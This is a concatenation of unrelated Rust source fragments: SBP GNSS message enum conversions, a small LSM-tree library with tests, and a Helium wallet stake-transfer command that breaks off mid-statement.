From<MsgAlmanacGPS> for SBP { fn from(msg: MsgAlmanacGPS) -> Self { SBP::MsgAlmanacGPS(msg) } } impl From<MsgAlmanacGlo> for SBP { fn from(msg: MsgAlmanacGlo) -> Self { SBP::MsgAlmanacGlo(msg) } } impl From<MsgGloBiases> for SBP { fn from(msg: MsgGloBiases) -> Self { SBP::MsgGloBiases(msg) } } impl From<MsgEphemerisDepD> for SBP { fn from(msg: MsgEphemerisDepD) -> Self { SBP::MsgEphemerisDepD(msg) } } impl From<MsgEphemerisGPSDepE> for SBP { fn from(msg: MsgEphemerisGPSDepE) -> Self { SBP::MsgEphemerisGPSDepE(msg) } } impl From<MsgEphemerisSbasDepA> for SBP { fn from(msg: MsgEphemerisSbasDepA) -> Self { SBP::MsgEphemerisSbasDepA(msg) } } impl From<MsgEphemerisGloDepA> for SBP { fn from(msg: MsgEphemerisGloDepA) -> Self { SBP::MsgEphemerisGloDepA(msg) } } impl From<MsgEphemerisSbasDepB> for SBP { fn from(msg: MsgEphemerisSbasDepB) -> Self { SBP::MsgEphemerisSbasDepB(msg) } } impl From<MsgEphemerisGloDepB> for SBP { fn from(msg: MsgEphemerisGloDepB) -> Self { SBP::MsgEphemerisGloDepB(msg) } } impl From<MsgEphemerisGPSDepF> for SBP { fn from(msg: MsgEphemerisGPSDepF) -> Self { SBP::MsgEphemerisGPSDepF(msg) } } impl From<MsgEphemerisGloDepC> for SBP { fn from(msg: MsgEphemerisGloDepC) -> Self { SBP::MsgEphemerisGloDepC(msg) } } impl From<MsgEphemerisGloDepD> for SBP { fn from(msg: MsgEphemerisGloDepD) -> Self { SBP::MsgEphemerisGloDepD(msg) } } impl From<MsgEphemerisBds> for SBP { fn from(msg: MsgEphemerisBds) -> Self { SBP::MsgEphemerisBds(msg) } } impl From<MsgEphemerisGPS> for SBP { fn from(msg: MsgEphemerisGPS) -> Self { SBP::MsgEphemerisGPS(msg) } } impl From<MsgEphemerisGlo> for SBP { fn from(msg: MsgEphemerisGlo) -> Self { SBP::MsgEphemerisGlo(msg) } } impl From<MsgEphemerisSbas> for SBP { fn from(msg: MsgEphemerisSbas) -> Self { SBP::MsgEphemerisSbas(msg) } } impl From<MsgEphemerisGal> for SBP { fn from(msg: MsgEphemerisGal) -> Self { SBP::MsgEphemerisGal(msg) } } impl From<MsgEphemerisQzss> for SBP { fn from(msg: MsgEphemerisQzss) -> Self { SBP::MsgEphemerisQzss(msg) } } impl From<MsgIono> for SBP { fn from(msg: MsgIono) -> Self { SBP::MsgIono(msg) } } impl From<MsgSvConfigurationGPSDep> for SBP { fn from(msg: MsgSvConfigurationGPSDep) -> Self { SBP::MsgSvConfigurationGPSDep(msg) } } impl From<MsgGroupDelayDepA> for SBP { fn from(msg: MsgGroupDelayDepA) -> Self { SBP::MsgGroupDelayDepA(msg) } } impl From<MsgGroupDelayDepB> for SBP { fn from(msg: MsgGroupDelayDepB) -> Self { SBP::MsgGroupDelayDepB(msg) } } impl From<MsgGroupDelay> for SBP { fn from(msg: MsgGroupDelay) -> Self { SBP::MsgGroupDelay(msg) } } impl From<MsgEphemerisGalDepA> for SBP { fn from(msg: MsgEphemerisGalDepA) -> Self { SBP::MsgEphemerisGalDepA(msg) } } impl From<MsgGnssCapb> for SBP { fn from(msg: MsgGnssCapb) -> Self { SBP::MsgGnssCapb(msg) } } impl From<MsgSvAzEl> for SBP { fn from(msg: MsgSvAzEl) -> Self { SBP::MsgSvAzEl(msg) } } impl From<MsgSettingsWrite> for SBP { fn from(msg: MsgSettingsWrite) -> Self { SBP::MsgSettingsWrite(msg) } } impl From<MsgSettingsSave> for SBP { fn from(msg: MsgSettingsSave) -> Self { SBP::MsgSettingsSave(msg) } } impl From<MsgSettingsReadByIndexReq> for SBP { fn from(msg: MsgSettingsReadByIndexReq) -> Self { SBP::MsgSettingsReadByIndexReq(msg) } } impl From<MsgFileioReadResp> for SBP { fn from(msg: MsgFileioReadResp) -> Self { SBP::MsgFileioReadResp(msg) } } impl From<MsgSettingsReadReq> for SBP { fn from(msg: MsgSettingsReadReq) -> Self { SBP::MsgSettingsReadReq(msg) } } impl From<MsgSettingsReadResp> for SBP { fn from(msg: MsgSettingsReadResp) -> Self { SBP::MsgSettingsReadResp(msg) } } impl From<MsgSettingsReadByIndexDone> for SBP { fn from(msg: MsgSettingsReadByIndexDone) -> Self { SBP::MsgSettingsReadByIndexDone(msg) } } impl From<MsgSettingsReadByIndexResp> for SBP { fn from(msg: MsgSettingsReadByIndexResp) -> Self { SBP::MsgSettingsReadByIndexResp(msg) } } impl From<MsgFileioReadReq> for SBP { fn from(msg: MsgFileioReadReq) -> Self { SBP::MsgFileioReadReq(msg) } } impl From<MsgFileioReadDirReq> for SBP { fn from(msg: MsgFileioReadDirReq) -> Self { SBP::MsgFileioReadDirReq(msg) } } impl From<MsgFileioReadDirResp> for SBP { fn from(msg: MsgFileioReadDirResp) -> Self { SBP::MsgFileioReadDirResp(msg) } } impl From<MsgFileioWriteResp> for SBP { fn from(msg: MsgFileioWriteResp) -> Self { SBP::MsgFileioWriteResp(msg) } } impl From<MsgFileioRemove> for SBP { fn from(msg: MsgFileioRemove) -> Self { SBP::MsgFileioRemove(msg) } } impl From<MsgFileioWriteReq> for SBP { fn from(msg: MsgFileioWriteReq) -> Self { SBP::MsgFileioWriteReq(msg) } } impl From<MsgSettingsRegister> for SBP { fn from(msg: MsgSettingsRegister) -> Self { SBP::MsgSettingsRegister(msg) } } impl From<MsgSettingsWriteResp> for SBP { fn from(msg: MsgSettingsWriteResp) -> Self { SBP::MsgSettingsWriteResp(msg) } } impl From<MsgBootloaderHandshakeDepA> for SBP { fn from(msg: MsgBootloaderHandshakeDepA) -> Self { SBP::MsgBootloaderHandshakeDepA(msg) } } impl From<MsgBootloaderJumpToApp> for SBP { fn from(msg: MsgBootloaderJumpToApp) -> Self { SBP::MsgBootloaderJumpToApp(msg) } } impl From<MsgResetDep> for SBP { fn from(msg: MsgResetDep) -> Self { SBP::MsgResetDep(msg) } } impl From<MsgBootloaderHandshakeReq> for SBP { fn from(msg: MsgBootloaderHandshakeReq) -> Self { SBP::MsgBootloaderHandshakeReq(msg) } } impl From<MsgBootloaderHandshakeResp> for SBP { fn from(msg: MsgBootloaderHandshakeResp) -> Self { SBP::MsgBootloaderHandshakeResp(msg) } } impl From<MsgDeviceMonitor> for SBP { fn from(msg: MsgDeviceMonitor) -> Self { SBP::MsgDeviceMonitor(msg) } } impl From<MsgReset> for SBP { fn from(msg: MsgReset) -> Self { SBP::MsgReset(msg) } } impl From<MsgCommandReq> for SBP { fn from(msg: MsgCommandReq) -> Self { SBP::MsgCommandReq(msg) } } impl From<MsgCommandResp> for SBP { fn from(msg: MsgCommandResp) -> Self { SBP::MsgCommandResp(msg) } } impl From<MsgNetworkStateReq> for SBP { fn from(msg: MsgNetworkStateReq) -> Self { SBP::MsgNetworkStateReq(msg) } } impl From<MsgNetworkStateResp> for SBP { fn from(msg: MsgNetworkStateResp) -> Self { SBP::MsgNetworkStateResp(msg) } } impl From<MsgCommandOutput> for SBP { fn from(msg: MsgCommandOutput) -> Self { SBP::MsgCommandOutput(msg) } } impl From<MsgNetworkBandwidthUsage> for SBP { fn from(msg: MsgNetworkBandwidthUsage) -> Self { SBP::MsgNetworkBandwidthUsage(msg) } } impl From<MsgCellModemStatus> for SBP { fn from(msg: MsgCellModemStatus) -> Self { SBP::MsgCellModemStatus(msg) } } impl From<MsgFrontEndGain> for SBP { fn from(msg: MsgFrontEndGain) -> Self { SBP::MsgFrontEndGain(msg) } } impl From<MsgCwResults> for SBP { fn from(msg: MsgCwResults) -> Self { SBP::MsgCwResults(msg) } } impl From<MsgCwStart> for SBP { fn from(msg: MsgCwStart) -> Self { SBP::MsgCwStart(msg) } } impl From<MsgNapDeviceDnaResp> for SBP { fn from(msg: MsgNapDeviceDnaResp) -> Self { SBP::MsgNapDeviceDnaResp(msg) } } impl From<MsgNapDeviceDnaReq> for SBP { fn from(msg: MsgNapDeviceDnaReq) -> Self { SBP::MsgNapDeviceDnaReq(msg) } } impl From<MsgFlashDone> for SBP { fn from(msg: MsgFlashDone) -> Self { SBP::MsgFlashDone(msg) } } impl From<MsgFlashReadResp> for SBP { fn from(msg: MsgFlashReadResp) -> Self { SBP::MsgFlashReadResp(msg) } } impl From<MsgFlashErase> for SBP { fn from(msg: MsgFlashErase) -> Self { SBP::MsgFlashErase(msg) } } impl From<MsgStmFlashLockSector> for SBP { fn from(msg: MsgStmFlashLockSector) -> Self { SBP::MsgStmFlashLockSector(msg) } } impl From<MsgStmFlashUnlockSector> for SBP { fn from(msg: MsgStmFlashUnlockSector) -> Self { SBP::MsgStmFlashUnlockSector(msg) } } impl From<MsgStmUniqueIdResp> for SBP { fn from(msg: MsgStmUniqueIdResp) -> Self { SBP::MsgStmUniqueIdResp(msg) } } impl From<MsgFlashProgram> for SBP { fn from(msg: MsgFlashProgram) -> Self { SBP::MsgFlashProgram(msg) } } impl From<MsgFlashReadReq> for SBP { fn from(msg: MsgFlashReadReq) -> Self { SBP::MsgFlashReadReq(msg) } } impl From<MsgStmUniqueIdReq> for SBP { fn from(msg: MsgStmUniqueIdReq) -> Self { SBP::MsgStmUniqueIdReq(msg) } } impl From<MsgM25FlashWriteStatus> for SBP { fn from(msg: MsgM25FlashWriteStatus) -> Self { SBP::MsgM25FlashWriteStatus(msg) } } impl From<MsgGPSTimeDepA> for SBP { fn from(msg: MsgGPSTimeDepA) -> Self { SBP::MsgGPSTimeDepA(msg) } } impl From<MsgExtEvent> for SBP { fn from(msg: MsgExtEvent) -> Self { SBP::MsgExtEvent(msg) } } impl From<MsgGPSTime> for SBP { fn from(msg: MsgGPSTime) -> Self { SBP::MsgGPSTime(msg) } } impl From<MsgUtcTime> for SBP { fn from(msg: MsgUtcTime) -> Self { SBP::MsgUtcTime(msg) } } impl From<MsgGPSTimeGnss> for SBP { fn from(msg: MsgGPSTimeGnss) -> Self { SBP::MsgGPSTimeGnss(msg) } } impl From<MsgUtcTimeGnss> for SBP { fn from(msg: MsgUtcTimeGnss) -> Self { SBP::MsgUtcTimeGnss(msg) } } impl From<MsgSettingsRegisterResp> for SBP { fn from(msg: MsgSettingsRegisterResp) -> Self { SBP::MsgSettingsRegisterResp(msg) } } impl From<MsgPosECEFDepA> for SBP { fn from(msg: MsgPosECEFDepA) -> Self { SBP::MsgPosECEFDepA(msg) } } impl From<MsgPosLLHDepA> for SBP { fn from(msg: MsgPosLLHDepA) -> Self { SBP::MsgPosLLHDepA(msg) } } impl From<MsgBaselineECEFDepA> for SBP { fn from(msg: MsgBaselineECEFDepA) -> Self { SBP::MsgBaselineECEFDepA(msg) } } impl From<MsgBaselineNEDDepA> for SBP { fn from(msg: MsgBaselineNEDDepA) -> Self { SBP::MsgBaselineNEDDepA(msg) } } impl From<MsgVelECEFDepA> for SBP { fn from(msg: MsgVelECEFDepA) -> Self { SBP::MsgVelECEFDepA(msg) } } impl From<MsgVelNEDDepA> for SBP { fn from(msg: MsgVelNEDDepA) -> Self { SBP::MsgVelNEDDepA(msg) } } impl From<MsgDopsDepA> for SBP { fn from(msg: MsgDopsDepA) -> Self { SBP::MsgDopsDepA(msg) } } impl From<MsgBaselineHeadingDepA> for SBP { fn from(msg: MsgBaselineHeadingDepA) -> Self { SBP::MsgBaselineHeadingDepA(msg) } } impl From<MsgDops> for SBP { fn from(msg: MsgDops) -> Self { SBP::MsgDops(msg) } } impl From<MsgPosECEF> for SBP { fn from(msg: MsgPosECEF) -> Self { SBP::MsgPosECEF(msg) } } impl From<MsgPosLLH> for SBP { fn from(msg: MsgPosLLH) -> Self { SBP::MsgPosLLH(msg) } } impl From<MsgBaselineECEF> for SBP { fn from(msg: MsgBaselineECEF) -> Self { SBP::MsgBaselineECEF(msg) } } impl From<MsgBaselineNED> for SBP { fn from(msg: MsgBaselineNED) -> Self { SBP::MsgBaselineNED(msg) } } impl From<MsgVelECEF> for SBP { fn from(msg: MsgVelECEF) -> Self { SBP::MsgVelECEF(msg) } } impl From<MsgVelNED> for SBP { fn from(msg: MsgVelNED) -> Self { SBP::MsgVelNED(msg) } } impl From<MsgBaselineHeading> for SBP { fn from(msg: MsgBaselineHeading) -> Self { SBP::MsgBaselineHeading(msg) } } impl From<MsgAgeCorrections> for SBP { fn from(msg: MsgAgeCorrections) -> Self { SBP::MsgAgeCorrections(msg) } } impl From<MsgPosLLHCov> for SBP { fn from(msg: MsgPosLLHCov) -> Self { SBP::MsgPosLLHCov(msg) } } impl From<MsgVelNEDCov> for SBP { fn from(msg: MsgVelNEDCov) -> Self { SBP::MsgVelNEDCov(msg) } } impl From<MsgVelBody> for SBP { fn from(msg: MsgVelBody) -> Self { SBP::MsgVelBody(msg) } } impl From<MsgPosECEFCov> for SBP { fn from(msg: MsgPosECEFCov) -> Self { SBP::MsgPosECEFCov(msg) } } impl From<MsgVelECEFCov> for SBP { fn from(msg: MsgVelECEFCov) -> Self { SBP::MsgVelECEFCov(msg) } } impl From<MsgProtectionLevelDepA> for SBP { fn from(msg: MsgProtectionLevelDepA) -> Self { SBP::MsgProtectionLevelDepA(msg) } } impl From<MsgProtectionLevel> for SBP { fn from(msg: MsgProtectionLevel) -> Self { SBP::MsgProtectionLevel(msg) } } impl From<MsgPosLLHAcc> for SBP { fn from(msg: MsgPosLLHAcc) -> Self { SBP::MsgPosLLHAcc(msg) } } impl From<MsgOrientQuat> for SBP { fn from(msg: MsgOrientQuat) -> Self { SBP::MsgOrientQuat(msg) } } impl From<MsgOrientEuler> for SBP { fn from(msg: MsgOrientEuler) -> Self { SBP::MsgOrientEuler(msg) } } impl From<MsgAngularRate> for SBP { fn from(msg: MsgAngularRate) -> Self { SBP::MsgAngularRate(msg) } } impl From<MsgPosECEFGnss> for SBP { fn from(msg: MsgPosECEFGnss) -> Self { SBP::MsgPosECEFGnss(msg) } } impl From<MsgPosLLHGnss> for SBP { fn from(msg: MsgPosLLHGnss) -> Self { SBP::MsgPosLLHGnss(msg) } } impl From<MsgVelECEFGnss> for SBP { fn from(msg: MsgVelECEFGnss) -> Self { SBP::MsgVelECEFGnss(msg) } } impl From<MsgVelNEDGnss> for SBP { fn from(msg: MsgVelNEDGnss) -> Self { SBP::MsgVelNEDGnss(msg) } } impl From<MsgPosLLHCovGnss> for SBP { fn from(msg: MsgPosLLHCovGnss) -> Self { SBP::MsgPosLLHCovGnss(msg) } } impl From<MsgVelNEDCovGnss> for SBP { fn from(msg: MsgVelNEDCovGnss) -> Self { SBP::MsgVelNEDCovGnss(msg) } } impl From<MsgPosECEFCovGnss> for SBP { fn from(msg: MsgPosECEFCovGnss) -> Self { SBP::MsgPosECEFCovGnss(msg) } } impl From<MsgVelECEFCovGnss> for SBP { fn from(msg: MsgVelECEFCovGnss) -> Self { SBP::MsgVelECEFCovGnss(msg) } } impl From<MsgNdbEvent> for SBP { fn from(msg: MsgNdbEvent) -> Self { SBP::MsgNdbEvent(msg) } } impl From<MsgLog> for SBP { fn from(msg: MsgLog) -> Self { SBP::MsgLog(msg) } } impl From<MsgFwd> for SBP { fn from(msg: MsgFwd) -> Self { SBP::MsgFwd(msg) } } impl From<MsgSsrOrbitClockDepA> for SBP { fn from(msg: MsgSsrOrbitClockDepA) -> Self { SBP::MsgSsrOrbitClockDepA(msg) } } impl From<MsgSsrOrbitClock> for SBP { fn from(msg: MsgSsrOrbitClock) -> Self { SBP::MsgSsrOrbitClock(msg) } } impl From<MsgSsrCodeBiases> for SBP { fn from(msg: MsgSsrCodeBiases) -> Self { SBP::MsgSsrCodeBiases(msg) } } impl From<MsgSsrPhaseBiases> for SBP { fn from(msg: MsgSsrPhaseBiases) -> Self { SBP::MsgSsrPhaseBiases(msg) } } impl From<MsgSsrStecCorrectionDepA> for SBP { fn from(msg: MsgSsrStecCorrectionDepA) -> Self { SBP::MsgSsrStecCorrectionDepA(msg) } } impl From<MsgSsrGriddedCorrectionNoStdDepA> for SBP { fn from(msg: MsgSsrGriddedCorrectionNoStdDepA) -> Self { SBP::MsgSsrGriddedCorrectionNoStdDepA(msg) } } impl From<MsgSsrGridDefinitionDepA> for SBP { fn from(msg: MsgSsrGridDefinitionDepA) -> Self { SBP::MsgSsrGridDefinitionDepA(msg) } } impl From<MsgSsrTileDefinition> for SBP { fn from(msg: MsgSsrTileDefinition) -> Self { SBP::MsgSsrTileDefinition(msg) } } impl From<MsgSsrGriddedCorrectionDepA> for SBP { fn from(msg: MsgSsrGriddedCorrectionDepA) -> Self { SBP::MsgSsrGriddedCorrectionDepA(msg) } } impl From<MsgSsrStecCorrection> for SBP { fn from(msg: MsgSsrStecCorrection) -> Self { SBP::MsgSsrStecCorrection(msg) } } impl From<MsgSsrGriddedCorrection> for SBP { fn from(msg: MsgSsrGriddedCorrection) -> Self { SBP::MsgSsrGriddedCorrection(msg) } } impl From<MsgSsrSatelliteApc> for SBP { fn from(msg: MsgSsrSatelliteApc) -> Self { SBP::MsgSsrSatelliteApc(msg) } } impl From<MsgOsr> for SBP { fn from(msg: MsgOsr) -> Self { SBP::MsgOsr(msg) } } impl From<MsgUserData> for SBP { fn from(msg: MsgUserData) -> Self { SBP::MsgUserData(msg) } } impl From<MsgImuRaw> for SBP { fn from(msg: MsgImuRaw) -> Self { SBP::MsgImuRaw(msg) } } impl From<MsgImuAux> for SBP { fn from(msg: MsgImuAux) -> Self { SBP::MsgImuAux(msg) } } impl From<MsgMagRaw> for SBP { fn from(msg: MsgMagRaw) -> Self { SBP::MsgMagRaw(msg) } } impl From<MsgOdometry> for SBP { fn from(msg: MsgOdometry) -> Self { SBP::MsgOdometry(msg) } } impl From<MsgWheeltick> for SBP { fn from(msg: MsgWheeltick) -> Self { SBP::MsgWheeltick(msg) } } impl From<MsgFileioConfigReq> for SBP { fn from(msg: MsgFileioConfigReq) -> Self { SBP::MsgFileioConfigReq(msg) } } impl From<MsgFileioConfigResp> for SBP { fn from(msg: MsgFileioConfigResp) -> Self { SBP::MsgFileioConfigResp(msg) } } impl From<MsgSbasRaw> for SBP { fn from(msg: MsgSbasRaw) -> Self { SBP::MsgSbasRaw(msg) } } impl From<MsgLinuxCpuStateDepA> for SBP { fn from(msg: MsgLinuxCpuStateDepA) -> Self { SBP::MsgLinuxCpuStateDepA(msg) } } impl From<MsgLinuxMemStateDepA> for SBP { fn from(msg: MsgLinuxMemStateDepA) -> Self { SBP::MsgLinuxMemStateDepA(msg) } } impl From<MsgLinuxSysStateDepA> for SBP { fn from(msg: MsgLinuxSysStateDepA) -> Self { SBP::MsgLinuxSysStateDepA(msg) } } impl From<MsgLinuxProcessSocketCounts> for SBP { fn from(msg: MsgLinuxProcessSocketCounts) -> Self { SBP::MsgLinuxProcessSocketCounts(msg) } } impl From<MsgLinuxProcessSocketQueues> for SBP { fn from(msg: MsgLinuxProcessSocketQueues) -> Self { SBP::MsgLinuxProcessSocketQueues(msg) } } impl From<MsgLinuxSocketUsage> for SBP { fn from(msg: MsgLinuxSocketUsage) -> Self { SBP::MsgLinuxSocketUsage(msg) } } impl From<MsgLinuxProcessFdCount> for SBP { fn from(msg: MsgLinuxProcessFdCount) -> Self { SBP::MsgLinuxProcessFdCount(msg) } } impl From<MsgLinuxProcessFdSummary> for SBP { fn from(msg: MsgLinuxProcessFdSummary) -> Self { SBP::MsgLinuxProcessFdSummary(msg) } } impl From<MsgLinuxCpuState> for SBP { fn from(msg: MsgLinuxCpuState) -> Self { SBP::MsgLinuxCpuState(msg) } } impl From<MsgLinuxMemState> for SBP { fn from(msg: MsgLinuxMemState) -> Self { SBP::MsgLinuxMemState(msg) } } impl From<MsgLinuxSysState> for SBP { fn from(msg: MsgLinuxSysState) -> Self { SBP::MsgLinuxSysState(msg) } } impl From<MsgStartup> for SBP { fn from(msg: MsgStartup) -> Self { SBP::MsgStartup(msg) } } impl From<MsgDgnssStatus> for SBP { fn from(msg: MsgDgnssStatus) -> Self { SBP::MsgDgnssStatus(msg) } } impl From<MsgInsStatus> for SBP { fn from(msg: MsgInsStatus) -> Self { SBP::MsgInsStatus(msg) } } impl From<MsgCsacTelemetry> for SBP { fn from(msg: MsgCsacTelemetry) -> Self { SBP::MsgCsacTelemetry(msg) } } impl From<MsgCsacTelemetryLabels> for SBP { fn from(msg: MsgCsacTelemetryLabels) -> Self { SBP::MsgCsacTelemetryLabels(msg) } } impl From<MsgInsUpdates> for SBP { fn from(msg: MsgInsUpdates) -> Self { SBP::MsgInsUpdates(msg) } } impl From<MsgGnssTimeOffset> for SBP { fn from(msg: MsgGnssTimeOffset) -> Self { SBP::MsgGnssTimeOffset(msg) } } impl From<MsgPpsTime> for SBP { fn from(msg: MsgPpsTime) -> Self { SBP::MsgPpsTime(msg) } } impl From<MsgGroupMeta> for SBP { fn from(msg: MsgGroupMeta) -> Self { SBP::MsgGroupMeta(msg) } } impl From<MsgSolnMeta> for SBP { fn from(msg: MsgSolnMeta) -> Self { SBP::MsgSolnMeta(msg) } } impl From<MsgSolnMetaDepA> for SBP { fn from(msg: MsgSolnMetaDepA) -> Self { SBP::MsgSolnMetaDepA(msg) } } impl From<MsgStatusReport> for SBP { fn from(msg: MsgStatusReport) -> Self { SBP::MsgStatusReport(msg) } } impl From<MsgHeartbeat> for SBP { fn from(msg: MsgHeartbeat) -> Self { SBP::MsgHeartbeat(msg) } } impl From<Unknown> for SBP { fn from(msg: Unknown) -> Self { SBP::Unknown(msg) } }
extern crate ordered_iter; mod ordered_vec; use std::borrow::Borrow; pub use ordered_vec::OrderedVec; const GROWTH: usize = 2; const L0_SIZE: usize = 64; const L1_SIZE: usize = GROWTH * L0_SIZE; const L2_SIZE: usize = GROWTH * L1_SIZE; #[derive(Copy, Clone, Debug)] pub enum Op<T> { Value(T), Delete, } #[derive(Copy, Clone, Debug)] pub struct Sequence(u64); impl Sequence { pub fn new() -> Sequence { Sequence(0) } pub fn next(&mut self) -> u64 { self.0 += 1; self.0 } } #[derive(Clone, Debug)] pub struct Lsm<K, V> { sequence: Sequence, l0: OrderedVec<K, Op<V>>, l1: OrderedVec<K, Op<V>>, l2: OrderedVec<K, Op<V>>, // TODO, make this an OrderedVec<K, V> ll: OrderedVec<K, Op<V>> } impl<K: Ord+std::fmt::Debug, V: std::fmt::Debug> Lsm<K, V> { /// Create a new LSM pub fn new() -> Lsm<K, V> { Lsm { sequence: Sequence::new(), l0: OrderedVec::with_capacity(L0_SIZE), l1: OrderedVec::new(), l2: OrderedVec::new(), ll: OrderedVec::new(), } } /// Merges l0 into l1 fn flush(&mut self) { self.l1.merge(&mut self.l0); if self.l1.len() < L1_SIZE { return; } self.l2.merge(&mut self.l1); if self.l2.len() < L2_SIZE { return; } self.ll.merge(&mut self.l2); } /// Insert into the LSM pub fn insert(&mut self, k: K, v: V) { let seq = self.sequence.next(); self.l0.insert(k, seq, Op::Value(v)); if self.l0.len() >= L0_SIZE { self.flush(); } } /// Get the latest value of k from the LSM< pub fn get<Q>(&mut self, k: &Q) -> Option<&V> where K: Borrow<Q>, Q: Ord { match self.l0.get(k) { Some(&Op::Delete) => return None, Some(&Op::Value(ref x)) => return Some(x), None => () } match self.l1.get(k) { Some(&Op::Delete) => return None, Some(&Op::Value(ref x)) => return Some(x), None => () } match self.l2.get(k) { Some(&Op::Delete) => return None, Some(&Op::Value(ref x)) => return Some(x), None => () } match self.ll.get(k) { Some(&Op::Value(ref x)) => Some(x), _ => None } } pub fn iter<'a>(&'a self) -> Iter<'a, K, V> { let l0 = self.l0.iter(); let l1 = self.l1.iter(); let l2 = self.l2.iter(); let ll = self.ll.iter(); let mut iter = Iter{ keys: [None; 7], arrays: [l0, l1, l2, ll] }; iter.setup(); iter } } pub struct Iter<'a, K:'a+std::cmp::Ord, V:'a>{ keys: [Option<(&'a K, &'a Op<V>, usize)>; 7], arrays: [ordered_vec::Iter<'a, K, Op<V>>; 4] } fn less<'a, K, V>(a: Option<(&'a K, &'a Op<V>, usize)>, b: Option<(&'a K, &'a Op<V>, usize)>) -> Option<(&'a K, &'a Op<V>, usize)> where K: std::cmp::Ord { match (a, b) { (Some((ak, av, af)), Some((bk, bv, bf))) => { match ak.cmp(&bk) { std::cmp::Ordering::Less => Some((ak, av, af)), std::cmp::Ordering::Greater => Some((bk, bv, bf)), std::cmp::Ordering::Equal => Some((ak, av, af|bf)) } } (Some(_), None) => a, (None, Some(_)) => b, (None, None) => None } } impl<'a, K:'a+std::cmp::Ord+std::fmt::Debug, V:'a> Iter<'a, K, V> { fn peek(&mut self, i: usize) { self.keys[i+3] = self.arrays[i].next().map(|(k, v)| (k, v, 1 << i)); } fn update(&mut self, i: usize) { self.peek(i); } fn fetch(&mut self, i: usize) { let l = 2*i+1; let r = 2*i+2; self.keys[i] = less(self.keys[l], self.keys[r]); } fn setup(&mut self) { for i in 0..4 { self.peek(i); } self.fetch(2); self.fetch(1); self.fetch(0); } // causes all arrays that are equal to k to be dropped fn discard(&mut self, flag: usize) { if flag & 0b0011 != 0 { if flag & 0b0001 != 0 { self.update(0) } if flag & 0b0010 != 0 { self.update(1) } self.fetch(1); } if flag & 0b1100 != 0 { if flag & 0b0100 != 0 { self.update(2) } if flag & 0b1000 != 0 { self.update(3) } self.fetch(2); } self.fetch(0); } } impl<'a, K, V> Iterator for Iter<'a, K, V> where K: std::cmp::Ord+'a+std::fmt::Debug, V: 'a { type Item = (&'a K, &'a V); fn next(&mut self) -> Option<(&'a K, &'a V)> { loop { let (k, v, flag) = match self.keys[0] { Some((k, v, flag)) => (k, v, flag), None => return None }; self.discard(flag); match v { &Op::Value(ref v) => return Some((k, v)), &Op::Delete => continue } } } } #[cfg(test)] mod test { use std::collections::HashSet; use Lsm; #[test] fn set_1000() { let mut lsm = Lsm::new(); for i in 0..1000 { lsm.insert(i, i); } for i in 0..1000 { assert_eq!(*lsm.get(&i).unwrap(), i); } } #[test] fn iter() { let mut hm = HashSet::new(); let mut lsm = Lsm::new(); for i in 0..1000 { lsm.insert(i, i); hm.insert(i); } for (k, v) in lsm.iter() { assert_eq!(k, v); hm.remove(k); } assert_eq!(0, hm.len()); } #[test] fn iter_dup() { let mut lsm = Lsm::new(); for i in 0..1000 { for j in 0..100 { lsm.insert(i, j); } } for (i, (k, v)) in lsm.iter().enumerate() { assert_eq!(*k, i); assert_eq!(*v, 99); } } }
use crate::{ cmd::*, result::Result, traits::{TxnEnvelope, TxnFee, TxnSign, B64}, }; #[derive(Debug, StructOpt)] /// Onboard a given encoded validator staking transaction with this wallet. /// transaction signed by the Helium staking server. pub enum Cmd { Create(Box<Create>), Accept(Box<Accept>), } #[derive(Debug, StructOpt)] /// Create a validator transfer transaction with this wallet as as the current /// (old) owner or new owner. If either owner is not specified, this wallet /// is assumed to be that/those owner(s). pub struct Create { /// The validator to transfer the stake from #[structopt(long)] old_address: PublicKey, /// The validator to transfer the stake to #[structopt(long)] new_address: PublicKey, /// The new owner of the transferred validator and stake. If not present /// the new owner is assumed to be the same as the current owner as defined /// on the blockchain. #[structopt(long)] new_owner: Option<PublicKey>, /// The current (old) owner of the transferred validator and stake. If not present /// the old owner is set to the public key of the given wallet. #[structopt(long)] old_owner: Option<PublicKey>, /// The payment from new owner to old owner as part of the the stake transfer #[structopt(long, default_value = "0")] payment: Hnt, /// The amount of HNT of the original stake #[structopt(long)] stake_amount: Option<Hnt>, /// Manually set fee to pay for the transaction #[structopt(long)] fee: Option<u64>, /// Whether to commit the transaction to the blockchain #[structopt(long)] commit: bool, } #[derive(Debug, StructOpt)] /// Accept a given stake transfer transaction by signing it and committing to /// the API if requested. The transaction is signed as either (or both) the new /// owner or the old owner if the owner keys match the public key of the given /// wallet. pub struct Accept { /// Base64 encoded transaction to sign. If no transaction if given /// stdin is read for the transaction. Note that the stdin feature /// only works if the wallet password is set in the /// HELIUM_WALLET_PASSWORD environment variable #[structopt(name = "TRANSACTION")] txn: Option<Transaction>, /// Whether to commit the transaction to the blockchain #[structopt(long)] commit: bool, } impl Cmd { pub async fn run(&self, opts: Opts) -> Result { match self { Self::Accept(cmd) => cmd.run(opts).await, Self::Create(cmd) => cmd.run(opts).await, } } } impl Create { pub async fn run(&self, opts: Opts) -> Result { let password = get_password(false)?; let wallet = load_wallet(opts.files)?; let keypair = wallet.decrypt(password.as_bytes())?; let client = new_client(api_url(wallet.public_key.network)); let old_owner = self.old_owner.as_ref().unwrap_or(&wallet.public_key); let mut txn = BlockchainTxnTransferValidatorStakeV1 { old_address: self.old_address.to_vec(), new_address: self.new_address.to_vec(), old_owner: old_owner.to_vec(), new_owner: self .new_owner .as_ref() .map(|o| o.to_vec()) .unwrap_or_else(Vec::new), fee: 0, stake_amount: if let Some(stake_amount) = self.stake_amount { u64::from(stake_amount) } else { u64::from( helium_api::validators::get(&client, &self.old_address.to_string()) .await? .stake, ) }, payment_amount: u64::from(self.payment), old_owner_signature: vec![], new_owner_signature: vec![], }; txn.fee = if let Some(fee) = self.fee { fee } else { txn.txn_fee(&get_txn_fees(&client).await?)? }; if old_owner == &wallet.public_key { txn.old_owner_signature = txn.sign(&keypair)?; } if let Some(owner) = &self.new_owner { if owner == &wallet.public_key { txn.new_owner_signature = txn.sign(&keypair)?; } } let envelope = txn.in_envelope(); let status = maybe_submit_txn(self.commit, &client, &envelope).await?; print_txn(Some(&envelope), &txn, &status, opts.format) } } impl Accept { pub async fn run(&self, opts: Opts) -> Result { let mut txn = BlockchainTxnTransferValidatorStakeV1::from_envelope(&read_txn(&self.txn)?)?; let password = get_password(false)?; let wallet = load_wallet(opts.files)?; let keypair = wallet.decrypt(password.as_bytes())?; if !txn.old_owner.is_empty() && PublicKey::from_bytes(&txn.old_owner)? == wallet.public_key { txn.old_owner_signature = txn.sign(&keypair)?; } if !txn.new_owner.is_empty() && 